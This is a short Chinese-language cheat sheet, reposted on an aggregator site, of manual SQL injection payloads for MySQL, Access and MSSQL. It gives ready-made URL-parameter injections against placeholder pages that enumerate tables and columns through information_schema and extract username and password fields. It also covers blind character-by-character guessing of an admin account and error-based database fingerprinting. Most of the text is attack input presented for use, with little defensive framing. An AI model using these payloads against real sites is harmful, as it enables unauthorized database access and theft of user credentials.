SQL手工注入技巧

Posted chorder

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL手工注入技巧相关的知识,希望对你有一定的参考价值。

MYSQL篇
1.内置函数和变量

    @@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

    xxx.php?id=1 and 1=2 union select 1,
    group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

    xxx.php?id=1 and 1=2 union select 1,2,table_name from 
    (select * from information_schema.tables where table_schema=数据库名的hex 
    order by table_schema limit 0,1)t limit 1– 

查字段:

    xxx.php?id=1 and 1=2 union select 1,2,column_name from 
    (select * from information_schema.columns where table_name=表名的hex 
    and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1– 

这里可以再结合下concat的拼接功能

    xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
    from (select * from information_schema.columns where table_name=表名的hex 
    and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1– 
    [n表示第n条数据]  

Access篇

猜表名

    *.asp?id=1 and exists (select * from admin)

猜列名

    *.asp?id=1 and exists (select password from admin)

Order by查询

    *.asp?id=1 order by 3

union 查询

    *.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

    *.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

    *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

    *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

    'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

    'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

以上是关于SQL手工注入技巧的主要内容,如果未能解决你的问题,请参考以下文章

基于SQL注入漏洞读写文件Getshell技巧

对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)

SQLite手工注入Getshell技巧

NOSQL MongoDB 注入——本质上还是和sql注入是类似的

Acesss数据库手工绕过通用代码防注入系统

『SQL注入』 User-Agent 手工注入的探测与利用分析